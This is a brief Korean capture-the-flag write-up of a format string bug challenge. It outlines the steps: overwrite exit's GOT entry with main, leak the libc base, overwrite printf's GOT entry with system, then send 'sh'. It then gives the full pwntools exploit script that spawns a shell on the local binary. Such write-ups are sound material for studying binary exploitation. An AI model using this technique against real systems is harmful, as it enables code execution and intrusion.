간단한 FSB 문제!! Partial RELRO라 exit의 got를 main으로 써서 계속 format string bug를 사용해서 해결할 수 있다!!
익스는 요런 순서로 진행된다.
1. exit.got 를 main으로 쓴다.
2. libc_base 를 leak한다.
3. printf.got 를 system으로 쓴다.
4. sh 를 입력해서 쉘 획득
이지
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
s = process("./pwnable")
elf = ELF("./pwnable")
libc = ELF("./libc.so.6")
pay = "AA" + fmtstr_payload(11,{elf.got['exit']:elf.symbols['main']},2,'short')
s.sendlineafter("back.",pay)
s.sendlineafter("back.","%30$p")
s.recvline()
leak = int(s.recv(10),16)
libc_base = leak - 0x49675
print "libc_base : " + hex(libc_base)
system = libc_base + libc.symbols['system']
pay = "AA" + fmtstr_payload(11,{elf.got['printf']:system},2,"short")
s.sendlineafter("back.",pay)
s.sendlineafter("back.","sh")
s.interactive()
|
cs |